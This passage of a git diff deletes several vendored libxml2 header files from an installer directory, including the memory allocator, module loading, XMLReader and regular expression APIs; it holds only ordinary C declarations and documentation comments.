- * Author: Igor Zlatovic - */ - -#ifndef __XML_EXPORTS_H__ -#define __XML_EXPORTS_H__ - -/** - * XMLPUBFUN, XMLPUBVAR, XMLCALL - * - * Macros which declare an exportable function, an exportable variable and - * the calling convention used for functions. - * - * Please use an extra block for every platform/compiler combination when - * modifying this, rather than overlong #ifdef lines. This helps - * readability as well as the fact that different compilers on the same - * platform might need different definitions. - */ - -/** - * XMLPUBFUN: - * - * Macros which declare an exportable function - */ -#define XMLPUBFUN -/** - * XMLPUBVAR: - * - * Macros which declare an exportable variable - */ -#define XMLPUBVAR extern -/** - * XMLCALL: - * - * Macros which declare the called convention for exported functions - */ -#define XMLCALL -/** - * XMLCDECL: - * - * Macro which declares the calling convention for exported functions that - * use '...'. - */ -#define XMLCDECL - -/** DOC_DISABLE */ - -/* Windows platform with MS compiler */ -#if defined(_WIN32) && defined(_MSC_VER) - #undef XMLPUBFUN - #undef XMLPUBVAR - #undef XMLCALL - #undef XMLCDECL - #if defined(IN_LIBXML) && !defined(LIBXML_STATIC) - #define XMLPUBFUN __declspec(dllexport) - #define XMLPUBVAR __declspec(dllexport) - #else - #define XMLPUBFUN - #if !defined(LIBXML_STATIC) - #define XMLPUBVAR __declspec(dllimport) extern - #else - #define XMLPUBVAR extern - #endif - #endif - #if defined(LIBXML_FASTCALL) - #define XMLCALL __fastcall - #else - #define XMLCALL __cdecl - #endif - #define XMLCDECL __cdecl - #if !defined _REENTRANT - #define _REENTRANT - #endif -#endif - -/* Windows platform with Borland compiler */ -#if defined(_WIN32) && defined(__BORLANDC__) - #undef XMLPUBFUN - #undef XMLPUBVAR - #undef XMLCALL - #undef XMLCDECL - #if defined(IN_LIBXML) && !defined(LIBXML_STATIC) - #define XMLPUBFUN __declspec(dllexport) - #define XMLPUBVAR __declspec(dllexport) extern - #else - #define XMLPUBFUN - #if !defined(LIBXML_STATIC) - #define XMLPUBVAR __declspec(dllimport) extern - #else - #define XMLPUBVAR extern - #endif - #endif - #define XMLCALL __cdecl - #define XMLCDECL __cdecl - #if !defined _REENTRANT - #define _REENTRANT - #endif -#endif - -/* Windows platform with GNU compiler (Mingw) */ -#if defined(_WIN32) && defined(__MINGW32__) - #undef XMLPUBFUN - #undef XMLPUBVAR - #undef XMLCALL - #undef XMLCDECL - /* - * if defined(IN_LIBXML) this raises problems on mingw with msys - * _imp__xmlFree listed as missing. Try to workaround the problem - * by also making that declaration when compiling client code. - */ - #if defined(IN_LIBXML) && !defined(LIBXML_STATIC) - #define XMLPUBFUN __declspec(dllexport) - #define XMLPUBVAR __declspec(dllexport) extern - #else - #define XMLPUBFUN - #if !defined(LIBXML_STATIC) - #define XMLPUBVAR __declspec(dllimport) extern - #else - #define XMLPUBVAR extern - #endif - #endif - #define XMLCALL __cdecl - #define XMLCDECL __cdecl - #if !defined _REENTRANT - #define _REENTRANT - #endif -#endif - -/* Cygwin platform, GNU compiler */ -#if defined(_WIN32) && defined(__CYGWIN__) - #undef XMLPUBFUN - #undef XMLPUBVAR - #undef XMLCALL - #undef XMLCDECL - #if defined(IN_LIBXML) && !defined(LIBXML_STATIC) - #define XMLPUBFUN __declspec(dllexport) - #define XMLPUBVAR __declspec(dllexport) - #else - #define XMLPUBFUN - #if !defined(LIBXML_STATIC) - #define XMLPUBVAR __declspec(dllimport) extern - #else - #define XMLPUBVAR - #endif - #endif - #define XMLCALL __cdecl - #define XMLCDECL __cdecl -#endif - -/* Compatibility */ -#if !defined(LIBXML_DLL_IMPORT) -#define LIBXML_DLL_IMPORT XMLPUBVAR -#endif - -#endif /* __XML_EXPORTS_H__ */ - - diff --git a/installer/libxml2/include/libxml/xmlmemory.h b/installer/libxml2/include/libxml/xmlmemory.h deleted file mode 100644 index 17e375a..0000000 --- a/installer/libxml2/include/libxml/xmlmemory.h +++ /dev/null @@ -1,224 +0,0 @@ -/* - * Summary: interface for the memory allocator - * Description: provides interfaces for the memory allocator, - * including debugging capabilities. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __DEBUG_MEMORY_ALLOC__ -#define __DEBUG_MEMORY_ALLOC__ - -#include -#include - -/** - * DEBUG_MEMORY: - * - * DEBUG_MEMORY replaces the allocator with a collect and debug - * shell to the libc allocator. - * DEBUG_MEMORY should only be activated when debugging - * libxml i.e. if libxml has been configured with --with-debug-mem too. - */ -/* #define DEBUG_MEMORY_FREED */ -/* #define DEBUG_MEMORY_LOCATION */ - -#ifdef DEBUG -#ifndef DEBUG_MEMORY -#define DEBUG_MEMORY -#endif -#endif - -/** - * DEBUG_MEMORY_LOCATION: - * - * DEBUG_MEMORY_LOCATION should be activated only when debugging - * libxml i.e. if libxml has been configured with --with-debug-mem too. - */ -#ifdef DEBUG_MEMORY_LOCATION -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * The XML memory wrapper support 4 basic overloadable functions. - */ -/** - * xmlFreeFunc: - * @mem: an already allocated block of memory - * - * Signature for a free() implementation. - */ -typedef void (XMLCALL *xmlFreeFunc)(void *mem); -/** - * xmlMallocFunc: - * @size: the size requested in bytes - * - * Signature for a malloc() implementation. - * - * Returns a pointer to the newly allocated block or NULL in case of error. - */ -typedef void *(LIBXML_ATTR_ALLOC_SIZE(1) XMLCALL *xmlMallocFunc)(size_t size); - -/** - * xmlReallocFunc: - * @mem: an already allocated block of memory - * @size: the new size requested in bytes - * - * Signature for a realloc() implementation. - * - * Returns a pointer to the newly reallocated block or NULL in case of error. - */ -typedef void *(XMLCALL *xmlReallocFunc)(void *mem, size_t size); - -/** - * xmlStrdupFunc: - * @str: a zero terminated string - * - * Signature for an strdup() implementation. - * - * Returns the copy of the string or NULL in case of error. - */ -typedef char *(XMLCALL *xmlStrdupFunc)(const char *str); - -/* - * The 4 interfaces used for all memory handling within libxml. -LIBXML_DLL_IMPORT xmlFreeFunc xmlFree; -LIBXML_DLL_IMPORT xmlMallocFunc xmlMalloc; -LIBXML_DLL_IMPORT xmlMallocFunc xmlMallocAtomic; -LIBXML_DLL_IMPORT xmlReallocFunc xmlRealloc; -LIBXML_DLL_IMPORT xmlStrdupFunc xmlMemStrdup; - */ - -/* - * The way to overload the existing functions. - * The xmlGc function have an extra entry for atomic block - * allocations useful for garbage collected memory allocators - */ -XMLPUBFUN int XMLCALL - xmlMemSetup (xmlFreeFunc freeFunc, - xmlMallocFunc mallocFunc, - xmlReallocFunc reallocFunc, - xmlStrdupFunc strdupFunc); -XMLPUBFUN int XMLCALL - xmlMemGet (xmlFreeFunc *freeFunc, - xmlMallocFunc *mallocFunc, - xmlReallocFunc *reallocFunc, - xmlStrdupFunc *strdupFunc); -XMLPUBFUN int XMLCALL - xmlGcMemSetup (xmlFreeFunc freeFunc, - xmlMallocFunc mallocFunc, - xmlMallocFunc mallocAtomicFunc, - xmlReallocFunc reallocFunc, - xmlStrdupFunc strdupFunc); -XMLPUBFUN int XMLCALL - xmlGcMemGet (xmlFreeFunc *freeFunc, - xmlMallocFunc *mallocFunc, - xmlMallocFunc *mallocAtomicFunc, - xmlReallocFunc *reallocFunc, - xmlStrdupFunc *strdupFunc); - -/* - * Initialization of the memory layer. - */ -XMLPUBFUN int XMLCALL - xmlInitMemory (void); - -/* - * Cleanup of the memory layer. - */ -XMLPUBFUN void XMLCALL - xmlCleanupMemory (void); -/* - * These are specific to the XML debug memory wrapper. - */ -XMLPUBFUN int XMLCALL - xmlMemUsed (void); -XMLPUBFUN int XMLCALL - xmlMemBlocks (void); -XMLPUBFUN void XMLCALL - xmlMemDisplay (FILE *fp); -XMLPUBFUN void XMLCALL - xmlMemDisplayLast(FILE *fp, long nbBytes); -XMLPUBFUN void XMLCALL - xmlMemShow (FILE *fp, int nr); -XMLPUBFUN void XMLCALL - xmlMemoryDump (void); -XMLPUBFUN void * XMLCALL - xmlMemMalloc (size_t size) LIBXML_ATTR_ALLOC_SIZE(1); -XMLPUBFUN void * XMLCALL - xmlMemRealloc (void *ptr,size_t size); -XMLPUBFUN void XMLCALL - xmlMemFree (void *ptr); -XMLPUBFUN char * XMLCALL - xmlMemoryStrdup (const char *str); -XMLPUBFUN void * XMLCALL - xmlMallocLoc (size_t size, const char *file, int line) LIBXML_ATTR_ALLOC_SIZE(1); -XMLPUBFUN void * XMLCALL - xmlReallocLoc (void *ptr, size_t size, const char *file, int line); -XMLPUBFUN void * XMLCALL - xmlMallocAtomicLoc (size_t size, const char *file, int line) LIBXML_ATTR_ALLOC_SIZE(1); -XMLPUBFUN char * XMLCALL - xmlMemStrdupLoc (const char *str, const char *file, int line); - - -#ifdef DEBUG_MEMORY_LOCATION -/** - * xmlMalloc: - * @size: number of bytes to allocate - * - * Wrapper for the malloc() function used in the XML library. - * - * Returns the pointer to the allocated area or NULL in case of error. - */ -#define xmlMalloc(size) xmlMallocLoc((size), __FILE__, __LINE__) -/** - * xmlMallocAtomic: - * @size: number of bytes to allocate - * - * Wrapper for the malloc() function used in the XML library for allocation - * of block not containing pointers to other areas. - * - * Returns the pointer to the allocated area or NULL in case of error. - */ -#define xmlMallocAtomic(size) xmlMallocAtomicLoc((size), __FILE__, __LINE__) -/** - * xmlRealloc: - * @ptr: pointer to the existing allocated area - * @size: number of bytes to allocate - * - * Wrapper for the realloc() function used in the XML library. - * - * Returns the pointer to the allocated area or NULL in case of error. - */ -#define xmlRealloc(ptr, size) xmlReallocLoc((ptr), (size), __FILE__, __LINE__) -/** - * xmlMemStrdup: - * @str: pointer to the existing string - * - * Wrapper for the strdup() function, xmlStrdup() is usually preferred. - * - * Returns the pointer to the allocated area or NULL in case of error. - */ -#define xmlMemStrdup(str) xmlMemStrdupLoc((str), __FILE__, __LINE__) - -#endif /* DEBUG_MEMORY_LOCATION */ - -#ifdef __cplusplus -} -#endif /* __cplusplus */ - -#ifndef __XML_GLOBALS_H -#ifndef __XML_THREADS_H__ -#include -#include -#endif -#endif - -#endif /* __DEBUG_MEMORY_ALLOC__ */ - diff --git a/installer/libxml2/include/libxml/xmlmodule.h b/installer/libxml2/include/libxml/xmlmodule.h deleted file mode 100644 index 9667820..0000000 --- a/installer/libxml2/include/libxml/xmlmodule.h +++ /dev/null @@ -1,57 +0,0 @@ -/* - * Summary: dynamic module loading - * Description: basic API for dynamic module loading, used by - * libexslt added in 2.6.17 - * - * Copy: See Copyright for the status of this software. - * - * Author: Joel W. Reed - */ - -#ifndef __XML_MODULE_H__ -#define __XML_MODULE_H__ - -#include - -#ifdef LIBXML_MODULES_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlModulePtr: - * - * A handle to a dynamically loaded module - */ -typedef struct _xmlModule xmlModule; -typedef xmlModule *xmlModulePtr; - -/** - * xmlModuleOption: - * - * enumeration of options that can be passed down to xmlModuleOpen() - */ -typedef enum { - XML_MODULE_LAZY = 1, /* lazy binding */ - XML_MODULE_LOCAL= 2 /* local binding */ -} xmlModuleOption; - -XMLPUBFUN xmlModulePtr XMLCALL xmlModuleOpen (const char *filename, - int options); - -XMLPUBFUN int XMLCALL xmlModuleSymbol (xmlModulePtr module, - const char* name, - void **result); - -XMLPUBFUN int XMLCALL xmlModuleClose (xmlModulePtr module); - -XMLPUBFUN int XMLCALL xmlModuleFree (xmlModulePtr module); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_MODULES_ENABLED */ - -#endif /*__XML_MODULE_H__ */ diff --git a/installer/libxml2/include/libxml/xmlreader.h b/installer/libxml2/include/libxml/xmlreader.h deleted file mode 100644 index 2c99e3a..0000000 --- a/installer/libxml2/include/libxml/xmlreader.h +++ /dev/null @@ -1,428 +0,0 @@ -/* - * Summary: the XMLReader implementation - * Description: API of the XML streaming API based on C# interfaces. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_XMLREADER_H__ -#define __XML_XMLREADER_H__ - -#include -#include -#include -#ifdef LIBXML_SCHEMAS_ENABLED -#include -#include -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlParserSeverities: - * - * How severe an error callback is when the per-reader error callback API - * is used. - */ -typedef enum { - XML_PARSER_SEVERITY_VALIDITY_WARNING = 1, - XML_PARSER_SEVERITY_VALIDITY_ERROR = 2, - XML_PARSER_SEVERITY_WARNING = 3, - XML_PARSER_SEVERITY_ERROR = 4 -} xmlParserSeverities; - -#ifdef LIBXML_READER_ENABLED - -/** - * xmlTextReaderMode: - * - * Internal state values for the reader. - */ -typedef enum { - XML_TEXTREADER_MODE_INITIAL = 0, - XML_TEXTREADER_MODE_INTERACTIVE = 1, - XML_TEXTREADER_MODE_ERROR = 2, - XML_TEXTREADER_MODE_EOF =3, - XML_TEXTREADER_MODE_CLOSED = 4, - XML_TEXTREADER_MODE_READING = 5 -} xmlTextReaderMode; - -/** - * xmlParserProperties: - * - * Some common options to use with xmlTextReaderSetParserProp, but it - * is better to use xmlParserOption and the xmlReaderNewxxx and - * xmlReaderForxxx APIs now. - */ -typedef enum { - XML_PARSER_LOADDTD = 1, - XML_PARSER_DEFAULTATTRS = 2, - XML_PARSER_VALIDATE = 3, - XML_PARSER_SUBST_ENTITIES = 4 -} xmlParserProperties; - -/** - * xmlReaderTypes: - * - * Predefined constants for the different types of nodes. - */ -typedef enum { - XML_READER_TYPE_NONE = 0, - XML_READER_TYPE_ELEMENT = 1, - XML_READER_TYPE_ATTRIBUTE = 2, - XML_READER_TYPE_TEXT = 3, - XML_READER_TYPE_CDATA = 4, - XML_READER_TYPE_ENTITY_REFERENCE = 5, - XML_READER_TYPE_ENTITY = 6, - XML_READER_TYPE_PROCESSING_INSTRUCTION = 7, - XML_READER_TYPE_COMMENT = 8, - XML_READER_TYPE_DOCUMENT = 9, - XML_READER_TYPE_DOCUMENT_TYPE = 10, - XML_READER_TYPE_DOCUMENT_FRAGMENT = 11, - XML_READER_TYPE_NOTATION = 12, - XML_READER_TYPE_WHITESPACE = 13, - XML_READER_TYPE_SIGNIFICANT_WHITESPACE = 14, - XML_READER_TYPE_END_ELEMENT = 15, - XML_READER_TYPE_END_ENTITY = 16, - XML_READER_TYPE_XML_DECLARATION = 17 -} xmlReaderTypes; - -/** - * xmlTextReader: - * - * Structure for an xmlReader context. - */ -typedef struct _xmlTextReader xmlTextReader; - -/** - * xmlTextReaderPtr: - * - * Pointer to an xmlReader context. - */ -typedef xmlTextReader *xmlTextReaderPtr; - -/* - * Constructors & Destructor - */ -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlNewTextReader (xmlParserInputBufferPtr input, - const char *URI); -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlNewTextReaderFilename(const char *URI); - -XMLPUBFUN void XMLCALL - xmlFreeTextReader (xmlTextReaderPtr reader); - -XMLPUBFUN int XMLCALL - xmlTextReaderSetup(xmlTextReaderPtr reader, - xmlParserInputBufferPtr input, const char *URL, - const char *encoding, int options); - -/* - * Iterators - */ -XMLPUBFUN int XMLCALL - xmlTextReaderRead (xmlTextReaderPtr reader); - -#ifdef LIBXML_WRITER_ENABLED -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderReadInnerXml(xmlTextReaderPtr reader); - -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderReadOuterXml(xmlTextReaderPtr reader); -#endif - -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderReadString (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderReadAttributeValue(xmlTextReaderPtr reader); - -/* - * Attributes of the node - */ -XMLPUBFUN int XMLCALL - xmlTextReaderAttributeCount(xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderDepth (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderHasAttributes(xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderHasValue(xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderIsDefault (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderIsEmptyElement(xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderNodeType (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderQuoteChar (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderReadState (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderIsNamespaceDecl(xmlTextReaderPtr reader); - -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstBaseUri (xmlTextReaderPtr reader); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstLocalName (xmlTextReaderPtr reader); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstName (xmlTextReaderPtr reader); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstNamespaceUri(xmlTextReaderPtr reader); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstPrefix (xmlTextReaderPtr reader); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstXmlLang (xmlTextReaderPtr reader); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstString (xmlTextReaderPtr reader, - const xmlChar *str); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstValue (xmlTextReaderPtr reader); - -/* - * use the Const version of the routine for - * better performance and simpler code - */ -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderBaseUri (xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderLocalName (xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderName (xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderNamespaceUri(xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderPrefix (xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderXmlLang (xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderValue (xmlTextReaderPtr reader); - -/* - * Methods of the XmlTextReader - */ -XMLPUBFUN int XMLCALL - xmlTextReaderClose (xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderGetAttributeNo (xmlTextReaderPtr reader, - int no); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderGetAttribute (xmlTextReaderPtr reader, - const xmlChar *name); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderGetAttributeNs (xmlTextReaderPtr reader, - const xmlChar *localName, - const xmlChar *namespaceURI); -XMLPUBFUN xmlParserInputBufferPtr XMLCALL - xmlTextReaderGetRemainder (xmlTextReaderPtr reader); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderLookupNamespace(xmlTextReaderPtr reader, - const xmlChar *prefix); -XMLPUBFUN int XMLCALL - xmlTextReaderMoveToAttributeNo(xmlTextReaderPtr reader, - int no); -XMLPUBFUN int XMLCALL - xmlTextReaderMoveToAttribute(xmlTextReaderPtr reader, - const xmlChar *name); -XMLPUBFUN int XMLCALL - xmlTextReaderMoveToAttributeNs(xmlTextReaderPtr reader, - const xmlChar *localName, - const xmlChar *namespaceURI); -XMLPUBFUN int XMLCALL - xmlTextReaderMoveToFirstAttribute(xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderMoveToNextAttribute(xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderMoveToElement (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderNormalization (xmlTextReaderPtr reader); -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstEncoding (xmlTextReaderPtr reader); - -/* - * Extensions - */ -XMLPUBFUN int XMLCALL - xmlTextReaderSetParserProp (xmlTextReaderPtr reader, - int prop, - int value); -XMLPUBFUN int XMLCALL - xmlTextReaderGetParserProp (xmlTextReaderPtr reader, - int prop); -XMLPUBFUN xmlNodePtr XMLCALL - xmlTextReaderCurrentNode (xmlTextReaderPtr reader); - -XMLPUBFUN int XMLCALL - xmlTextReaderGetParserLineNumber(xmlTextReaderPtr reader); - -XMLPUBFUN int XMLCALL - xmlTextReaderGetParserColumnNumber(xmlTextReaderPtr reader); - -XMLPUBFUN xmlNodePtr XMLCALL - xmlTextReaderPreserve (xmlTextReaderPtr reader); -#ifdef LIBXML_PATTERN_ENABLED -XMLPUBFUN int XMLCALL - xmlTextReaderPreservePattern(xmlTextReaderPtr reader, - const xmlChar *pattern, - const xmlChar **namespaces); -#endif /* LIBXML_PATTERN_ENABLED */ -XMLPUBFUN xmlDocPtr XMLCALL - xmlTextReaderCurrentDoc (xmlTextReaderPtr reader); -XMLPUBFUN xmlNodePtr XMLCALL - xmlTextReaderExpand (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderNext (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderNextSibling (xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderIsValid (xmlTextReaderPtr reader); -#ifdef LIBXML_SCHEMAS_ENABLED -XMLPUBFUN int XMLCALL - xmlTextReaderRelaxNGValidate(xmlTextReaderPtr reader, - const char *rng); -XMLPUBFUN int XMLCALL - xmlTextReaderRelaxNGValidateCtxt(xmlTextReaderPtr reader, - xmlRelaxNGValidCtxtPtr ctxt, - int options); - -XMLPUBFUN int XMLCALL - xmlTextReaderRelaxNGSetSchema(xmlTextReaderPtr reader, - xmlRelaxNGPtr schema); -XMLPUBFUN int XMLCALL - xmlTextReaderSchemaValidate (xmlTextReaderPtr reader, - const char *xsd); -XMLPUBFUN int XMLCALL - xmlTextReaderSchemaValidateCtxt(xmlTextReaderPtr reader, - xmlSchemaValidCtxtPtr ctxt, - int options); -XMLPUBFUN int XMLCALL - xmlTextReaderSetSchema (xmlTextReaderPtr reader, - xmlSchemaPtr schema); -#endif -XMLPUBFUN const xmlChar * XMLCALL - xmlTextReaderConstXmlVersion(xmlTextReaderPtr reader); -XMLPUBFUN int XMLCALL - xmlTextReaderStandalone (xmlTextReaderPtr reader); - - -/* - * Index lookup - */ -XMLPUBFUN long XMLCALL - xmlTextReaderByteConsumed (xmlTextReaderPtr reader); - -/* - * New more complete APIs for simpler creation and reuse of readers - */ -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlReaderWalker (xmlDocPtr doc); -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlReaderForDoc (const xmlChar * cur, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlReaderForFile (const char *filename, - const char *encoding, - int options); -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlReaderForMemory (const char *buffer, - int size, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlReaderForFd (int fd, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN xmlTextReaderPtr XMLCALL - xmlReaderForIO (xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - const char *URL, - const char *encoding, - int options); - -XMLPUBFUN int XMLCALL - xmlReaderNewWalker (xmlTextReaderPtr reader, - xmlDocPtr doc); -XMLPUBFUN int XMLCALL - xmlReaderNewDoc (xmlTextReaderPtr reader, - const xmlChar * cur, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN int XMLCALL - xmlReaderNewFile (xmlTextReaderPtr reader, - const char *filename, - const char *encoding, - int options); -XMLPUBFUN int XMLCALL - xmlReaderNewMemory (xmlTextReaderPtr reader, - const char *buffer, - int size, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN int XMLCALL - xmlReaderNewFd (xmlTextReaderPtr reader, - int fd, - const char *URL, - const char *encoding, - int options); -XMLPUBFUN int XMLCALL - xmlReaderNewIO (xmlTextReaderPtr reader, - xmlInputReadCallback ioread, - xmlInputCloseCallback ioclose, - void *ioctx, - const char *URL, - const char *encoding, - int options); -/* - * Error handling extensions - */ -typedef void * xmlTextReaderLocatorPtr; - -/** - * xmlTextReaderErrorFunc: - * @arg: the user argument - * @msg: the message - * @severity: the severity of the error - * @locator: a locator indicating where the error occured - * - * Signature of an error callback from a reader parser - */ -typedef void (XMLCALL *xmlTextReaderErrorFunc)(void *arg, - const char *msg, - xmlParserSeverities severity, - xmlTextReaderLocatorPtr locator); -XMLPUBFUN int XMLCALL - xmlTextReaderLocatorLineNumber(xmlTextReaderLocatorPtr locator); -XMLPUBFUN xmlChar * XMLCALL - xmlTextReaderLocatorBaseURI (xmlTextReaderLocatorPtr locator); -XMLPUBFUN void XMLCALL - xmlTextReaderSetErrorHandler(xmlTextReaderPtr reader, - xmlTextReaderErrorFunc f, - void *arg); -XMLPUBFUN void XMLCALL - xmlTextReaderSetStructuredErrorHandler(xmlTextReaderPtr reader, - xmlStructuredErrorFunc f, - void *arg); -XMLPUBFUN void XMLCALL - xmlTextReaderGetErrorHandler(xmlTextReaderPtr reader, - xmlTextReaderErrorFunc *f, - void **arg); - -#endif /* LIBXML_READER_ENABLED */ - -#ifdef __cplusplus -} -#endif - -#endif /* __XML_XMLREADER_H__ */ - diff --git a/installer/libxml2/include/libxml/xmlregexp.h b/installer/libxml2/include/libxml/xmlregexp.h deleted file mode 100644 index 7009645..0000000 --- a/installer/libxml2/include/libxml/xmlregexp.h +++ /dev/null @@ -1,222 +0,0 @@ -/* - * Summary: regular expressions handling - * Description: basic API for libxml regular expressions handling used - * for XML Schemas and validation. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_REGEXP_H__ -#define __XML_REGEXP_H__ - -#include - -#ifdef LIBXML_REGEXP_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * xmlRegexpPtr: - * - * A libxml regular expression, they can actually be far more complex - * thank the POSIX regex expressions. - */ -typedef struct _xmlRegexp xmlRegexp; -typedef xmlRegexp *xmlRegexpPtr; - -/** - * xmlRegExecCtxtPtr: - * - * A libxml progressive regular expression evaluation context - */ -typedef struct _xmlRegExecCtxt xmlRegExecCtxt; -typedef xmlRegExecCtxt *xmlRegExecCtxtPtr; - -#ifdef __cplusplus -} -#endif -#include -#include -#ifdef __cplusplus -extern "C" { -#endif - -/* - * The POSIX like API - */ -XMLPUBFUN xmlRegexpPtr XMLCALL - xmlRegexpCompile (const xmlChar *regexp); -XMLPUBFUN void XMLCALL xmlRegFreeRegexp(xmlRegexpPtr regexp); -XMLPUBFUN int XMLCALL - xmlRegexpExec (xmlRegexpPtr comp, - const xmlChar *value); -XMLPUBFUN void XMLCALL - xmlRegexpPrint (FILE *output, - xmlRegexpPtr regexp); -XMLPUBFUN int XMLCALL - xmlRegexpIsDeterminist(xmlRegexpPtr comp); - -/** - * xmlRegExecCallbacks: - * @exec: the regular expression context - * @token: the current token string - * @transdata: transition data - * @inputdata: input data - * - * Callback function when doing a transition in the automata - */ -typedef void (*xmlRegExecCallbacks) (xmlRegExecCtxtPtr exec, - const xmlChar *token, - void *transdata, - void *inputdata); - -/* - * The progressive API - */ -XMLPUBFUN xmlRegExecCtxtPtr XMLCALL - xmlRegNewExecCtxt (xmlRegexpPtr comp, - xmlRegExecCallbacks callback, - void *data); -XMLPUBFUN void XMLCALL - xmlRegFreeExecCtxt (xmlRegExecCtxtPtr exec); -XMLPUBFUN int XMLCALL - xmlRegExecPushString(xmlRegExecCtxtPtr exec, - const xmlChar *value, - void *data); -XMLPUBFUN int XMLCALL - xmlRegExecPushString2(xmlRegExecCtxtPtr exec, - const xmlChar *value, - const xmlChar *value2, - void *data); - -XMLPUBFUN int XMLCALL - xmlRegExecNextValues(xmlRegExecCtxtPtr exec, - int *nbval, - int *nbneg, - xmlChar **values, - int *terminal); -XMLPUBFUN int XMLCALL - xmlRegExecErrInfo (xmlRegExecCtxtPtr exec, - const xmlChar **string, - int *nbval, - int *nbneg, - xmlChar **values, - int *terminal); -#ifdef LIBXML_EXPR_ENABLED -/* - * Formal regular expression handling - * Its goal is to do some formal work on content models - */ - -/* expressions are used within a context */ -typedef struct _xmlExpCtxt xmlExpCtxt; -typedef xmlExpCtxt *xmlExpCtxtPtr; - -XMLPUBFUN void XMLCALL - xmlExpFreeCtxt (xmlExpCtxtPtr ctxt); -XMLPUBFUN xmlExpCtxtPtr XMLCALL - xmlExpNewCtxt (int maxNodes, - xmlDictPtr dict); - -XMLPUBFUN int XMLCALL - xmlExpCtxtNbNodes(xmlExpCtxtPtr ctxt); -XMLPUBFUN int XMLCALL - xmlExpCtxtNbCons(xmlExpCtxtPtr ctxt); - -/* Expressions are trees but the tree is opaque */ -typedef struct _xmlExpNode xmlExpNode; -typedef xmlExpNode *xmlExpNodePtr; - -typedef enum { - XML_EXP_EMPTY = 0, - XML_EXP_FORBID = 1, - XML_EXP_ATOM = 2, - XML_EXP_SEQ = 3, - XML_EXP_OR = 4, - XML_EXP_COUNT = 5 -} xmlExpNodeType; - -/* - * 2 core expressions shared by all for the empty language set - * and for the set with just the empty token - */ -XMLPUBVAR xmlExpNodePtr forbiddenExp; -XMLPUBVAR xmlExpNodePtr emptyExp; - -/* - * Expressions are reference counted internally - */ -XMLPUBFUN void XMLCALL - xmlExpFree (xmlExpCtxtPtr ctxt, - xmlExpNodePtr expr); -XMLPUBFUN void XMLCALL - xmlExpRef (xmlExpNodePtr expr); - -/* - * constructors can be either manual or from a string - */ -XMLPUBFUN xmlExpNodePtr XMLCALL - xmlExpParse (xmlExpCtxtPtr ctxt, - const char *expr); -XMLPUBFUN xmlExpNodePtr XMLCALL - xmlExpNewAtom (xmlExpCtxtPtr ctxt, - const xmlChar *name, - int len); -XMLPUBFUN xmlExpNodePtr XMLCALL - xmlExpNewOr (xmlExpCtxtPtr ctxt, - xmlExpNodePtr left, - xmlExpNodePtr right); -XMLPUBFUN xmlExpNodePtr 